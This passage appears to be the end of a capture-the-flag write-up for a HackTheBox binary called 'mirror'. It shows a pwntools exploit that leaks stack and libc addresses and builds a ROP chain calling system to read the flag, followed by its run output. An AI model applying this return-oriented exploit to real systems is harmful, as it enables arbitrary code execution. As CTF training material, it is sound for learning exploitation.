proc.sendlineafter('> ', 'y/bin/cat flag.txt\x00')
proc.recvuntil('[')
leak = proc.recvuntil(']')
buffer = int(leak[:-1], 16)
buffer_last_byte = int((leak[:-1])[-2:], 16)
print 'buffer = ' + hex(buffer)
print 'buffer_last_byte = ' + hex(buffer_last_byte)
proc.recvuntil('[')
libc_base = int(proc.recvuntil(']')[:-1], 16) - libc.sym['printf']
print 'libc_base = ' + hex(libc_base)
rop = 'a'*8
rop += p64(libc_base + (libc_rop.find_gadget(['pop rdi', 'ret']))[0])
rop += p64(buffer + 0x31)
rop += p64(libc_base + libc.sym['system'])
proc.sendlineafter('> ', rop + '\x00'*(0x21 - len(rop) - 1) + chr(buffer_last_byte))
proc.interactive()
Run run run:
kali@kali:~/Desktop/HTB$ python mirror_solve.py
[+] Starting local process './mirror': pid 14915
[*] '/lib/x86_64-linux-gnu/libc.so.6'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[*] Loaded 196 cached gadgets for '/lib/x86_64-linux-gnu/libc.so.6'
buffer = 0x7fffe023ad70
buffer_last_byte = 0x70
libc_base = 0x7f248b501000
[*] Switching to interactive mode
flag{boodamdang}
[*] Got EOF while reading in interactive
Mình ước gì server mở lại để mình thử lại xem có được hay không ?